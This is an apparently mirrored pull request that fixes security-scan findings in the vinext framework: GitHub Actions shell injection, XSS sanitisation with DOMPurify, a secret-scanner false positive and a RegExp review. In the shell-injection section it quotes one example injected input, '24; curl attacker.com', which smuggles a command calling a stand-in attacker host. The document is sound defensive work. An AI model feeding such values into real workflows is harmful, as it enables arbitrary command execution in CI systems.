[PR #757] [CLOSED] fix: security audit findings from issue #741 #820

New issue

Closed

opened 2026-05-06 13:10:16 +02:00 by BreizhHardware · 0 comments

BreizhHardware commented

2026-05-06 13:10:16 +02:00

Owner

📋 Pull Request Information

Original PR: https://github.com/cloudflare/vinext/pull/757
Author: @LukePercy
Created: 4/2/2026
Status: ❌ Closed

Base: main ← Head: fix/security-audit-741

📝 Commits (1)

91adcaf fix: security audit findings from issue #741

📊 Changes

10 files changed (+83 additions, -35 deletions)

View changed files

📝 .github/workflows/nextjs-tracker.yml (+8 -3)
📝 .github/workflows/publish.yml (+3 -1)
📝 examples/hackernews/components/comment.jsx (+2 -1)
📝 examples/hackernews/package.json (+26 -24)
📝 examples/hackernews/tsconfig.json (+11 -4)
📝 packages/vinext/src/shims/head.ts (+3 -1)
📝 packages/vinext/src/shims/script.tsx (+5 -0)
📝 pnpm-lock.yaml (+22 -0)
📝 pnpm-workspace.yaml (+2 -0)
📝 tests/vite-hmr-websocket.test.ts (+1 -1)

📄 Description

Closes #741

Addresses all findings from the static security scan. Each change is described below with the reasoning and any assumptions made.

🔴 Critical: gitleaks false positive in test file

File: tests/vite-hmr-websocket.test.ts:32

Change: Added // gitleaks:allow inline comment.

Reasoning: The value dGhlIHNhbXBsZSBub25jZQ== is the RFC 6455 example WebSocket handshake nonce ("the sample nonce"), hardcoded in the WebSocket spec itself. It is not a credential. The gitleaks:allow directive suppresses the scanner without altering test behavior.

Assumption: This is a well-known public value from the spec, not a real secret. No rotation needed.

🟠 High: GitHub Actions shell injection (4 locations)

Files: .github/workflows/publish.yml:47, .github/workflows/nextjs-tracker.yml:42,73,137

Change: Moved ${{ github.event.inputs.* }} context expressions out of run: shell scripts and into env: blocks, then referenced them as shell variables ($VAR).

Reasoning: GitHub Actions expressions interpolated directly into run: steps are evaluated before the shell sees the script, meaning a malicious input value (e.g. a crafted since_hours like 24; curl attacker.com) can inject arbitrary shell commands. Moving values into env: passes them as environment variables, which the shell treats as data — not code.

Assumption: All four inputs are workflow_dispatch inputs, so they require a GitHub account with write access to trigger. The risk is lower than for pull_request event data, but the fix is cheap and correct practice regardless. The inputs.bump value is also constrained to a choice type (patch/minor/major), so it had minimal practical exploitability, but the fix is still the right pattern.

🟠 High: `innerHTML` in script shim

File: packages/vinext/src/shims/script.tsx:159

Change: Added a security comment; no behavior change.

Reasoning: The el.innerHTML = dangerouslySetInnerHTML.__html path replicates the Next.js <Script> API exactly. The prop name dangerouslySetInnerHTML is React's own convention for signalling developer awareness of the XSS risk. This path is only reached when the developer explicitly passes that prop — it is never populated from user input by the framework. Changing the behavior would break compatibility with Next.js.

Assumption: User-supplied data never flows into dangerouslySetInnerHTML.__html on the <Script> component. This is the developer's responsibility, consistent with how React itself handles the same prop on all elements.

🟡 Medium: `dangerouslySetInnerHTML` in hackernews example

File: examples/hackernews/components/comment.jsx:29

Change: Wrapped the HN API text value in DOMPurify.sanitize() before passing to dangerouslySetInnerHTML. Added dompurify to package.json and to the workspace catalog.

Reasoning: The HN API returns comment text as HTML (links, italics, etc.). The original code rendered it raw. Although HN is generally trusted, rendering unsanitized third-party HTML is a stored XSS vector — a compromised or malicious HN post could inject scripts into pages served by this example. DOMPurify strips dangerous tags and attributes while preserving the safe formatting HTML the API returns.

Assumption: DOMPurify's default config (strip <script>, javascript: hrefs, event handlers, etc.) is appropriate here. The HN API only uses basic formatting tags so no content is lost in practice.

🟡 Medium: non-literal RegExp (6 locations)

Files: shims/head.ts, shims/image-config.ts, config/config-matchers.ts (×2), routing/file-matcher.ts (×2)

Change: Added a clarifying comment to escapeInlineContent in head.ts; no behavior changes elsewhere.

Reasoning: All six new RegExp(variable) usages were reviewed:

head.ts:276 — tag is always "script" or "style", guarded by RAW_CONTENT_TAGS.has(tag) at every call site.
image-config.ts:58 — builds a pattern from developer-supplied remotePatterns config, not request-time user input.
config-matchers.ts:341,974 — both are already guarded by safeRegExp(), which runs isSafeRegex() to reject ReDoS-vulnerable patterns before compiling.
file-matcher.ts:51,54 — built from pageExtensions config values, escaped with escapeRegex() before interpolation.

No user-controlled input reaches any of these paths at request time.

Deprecation cleanup (bonus, unrelated to security)

File: examples/hackernews/tsconfig.json

Removed baseUrl: "." — deprecated in TypeScript 6, will be removed in TS 7. All imports in this package use relative paths so baseUrl was doing nothing.
Added noEmit: true — prevents TypeScript from trying to write compiled output over the existing .js files in lib/, which caused a compiler error.
Added @cloudflare/workers-types to devDependencies — it was referenced in tsconfig.json types but missing from package.json, causing a type resolution error.

_{🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.}

## 📋 Pull Request Information **Original PR:** https://github.com/cloudflare/vinext/pull/757 **Author:** [@LukePercy](https://github.com/LukePercy) **Created:** 4/2/2026 **Status:** ❌ Closed **Base:** `main` ← **Head:** `fix/security-audit-741` --- ### 📝 Commits (1) - [`91adcaf`](https://github.com/cloudflare/vinext/commit/91adcafd7fbb3d62a42cf85af2bcdebe3a3c6e44) fix: security audit findings from issue #741 ### 📊 Changes **10 files changed** (+83 additions, -35 deletions) <details> <summary>View changed files</summary> 📝 `.github/workflows/nextjs-tracker.yml` (+8 -3) 📝 `.github/workflows/publish.yml` (+3 -1) 📝 `examples/hackernews/components/comment.jsx` (+2 -1) 📝 `examples/hackernews/package.json` (+26 -24) 📝 `examples/hackernews/tsconfig.json` (+11 -4) 📝 `packages/vinext/src/shims/head.ts` (+3 -1) 📝 `packages/vinext/src/shims/script.tsx` (+5 -0) 📝 `pnpm-lock.yaml` (+22 -0) 📝 `pnpm-workspace.yaml` (+2 -0) 📝 `tests/vite-hmr-websocket.test.ts` (+1 -1) </details> ### 📄 Description Closes #741 Addresses all findings from the static security scan. Each change is described below with the reasoning and any assumptions made. --- ## 🔴 Critical: gitleaks false positive in test file **File:** `tests/vite-hmr-websocket.test.ts:32` **Change:** Added `// gitleaks:allow` inline comment. **Reasoning:** The value `dGhlIHNhbXBsZSBub25jZQ==` is the RFC 6455 example WebSocket handshake nonce ("the sample nonce"), hardcoded in the WebSocket spec itself. It is not a credential. The `gitleaks:allow` directive suppresses the scanner without altering test behavior. **Assumption:** This is a well-known public value from the spec, not a real secret. No rotation needed. --- ## 🟠 High: GitHub Actions shell injection (4 locations) **Files:** `.github/workflows/publish.yml:47`, `.github/workflows/nextjs-tracker.yml:42,73,137` **Change:** Moved `${{ github.event.inputs.* }}` context expressions out of `run:` shell scripts and into `env:` blocks, then referenced them as shell variables (`$VAR`). **Reasoning:** GitHub Actions expressions interpolated directly into `run:` steps are evaluated before the shell sees the script, meaning a malicious input value (e.g. a crafted `since_hours` like `24; curl attacker.com`) can inject arbitrary shell commands. Moving values into `env:` passes them as environment variables, which the shell treats as data — not code. **Assumption:** All four inputs are `workflow_dispatch` inputs, so they require a GitHub account with write access to trigger. The risk is lower than for `pull_request` event data, but the fix is cheap and correct practice regardless. The `inputs.bump` value is also constrained to a `choice` type (`patch`/`minor`/`major`), so it had minimal practical exploitability, but the fix is still the right pattern. --- ## 🟠 High: `innerHTML` in script shim **File:** `packages/vinext/src/shims/script.tsx:159` **Change:** Added a security comment; no behavior change. **Reasoning:** The `el.innerHTML = dangerouslySetInnerHTML.__html` path replicates the Next.js `<Script>` API exactly. The prop name `dangerouslySetInnerHTML` is React's own convention for signalling developer awareness of the XSS risk. This path is only reached when the developer explicitly passes that prop — it is never populated from user input by the framework. Changing the behavior would break compatibility with Next.js. **Assumption:** User-supplied data never flows into `dangerouslySetInnerHTML.__html` on the `<Script>` component. This is the developer's responsibility, consistent with how React itself handles the same prop on all elements. --- ## 🟡 Medium: `dangerouslySetInnerHTML` in hackernews example **File:** `examples/hackernews/components/comment.jsx:29` **Change:** Wrapped the HN API `text` value in `DOMPurify.sanitize()` before passing to `dangerouslySetInnerHTML`. Added `dompurify` to `package.json` and to the workspace catalog. **Reasoning:** The HN API returns comment text as HTML (links, italics, etc.). The original code rendered it raw. Although HN is generally trusted, rendering unsanitized third-party HTML is a stored XSS vector — a compromised or malicious HN post could inject scripts into pages served by this example. DOMPurify strips dangerous tags and attributes while preserving the safe formatting HTML the API returns. **Assumption:** DOMPurify's default config (strip `<script>`, `javascript:` hrefs, event handlers, etc.) is appropriate here. The HN API only uses basic formatting tags so no content is lost in practice. --- ## 🟡 Medium: non-literal RegExp (6 locations) **Files:** `shims/head.ts`, `shims/image-config.ts`, `config/config-matchers.ts` (×2), `routing/file-matcher.ts` (×2) **Change:** Added a clarifying comment to `escapeInlineContent` in `head.ts`; no behavior changes elsewhere. **Reasoning:** All six `new RegExp(variable)` usages were reviewed: - `head.ts:276` — `tag` is always `"script"` or `"style"`, guarded by `RAW_CONTENT_TAGS.has(tag)` at every call site. - `image-config.ts:58` — builds a pattern from developer-supplied `remotePatterns` config, not request-time user input. - `config-matchers.ts:341,974` — both are already guarded by `safeRegExp()`, which runs `isSafeRegex()` to reject ReDoS-vulnerable patterns before compiling. - `file-matcher.ts:51,54` — built from `pageExtensions` config values, escaped with `escapeRegex()` before interpolation. No user-controlled input reaches any of these paths at request time. --- ## Deprecation cleanup (bonus, unrelated to security) **File:** `examples/hackernews/tsconfig.json` - Removed `baseUrl: "."` — deprecated in TypeScript 6, will be removed in TS 7. All imports in this package use relative paths so `baseUrl` was doing nothing. - Added `noEmit: true` — prevents TypeScript from trying to write compiled output over the existing `.js` files in `lib/`, which caused a compiler error. - Added `@cloudflare/workers-types` to `devDependencies` — it was referenced in `tsconfig.json` `types` but missing from `package.json`, causing a type resolution error. --- <sub>🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.</sub>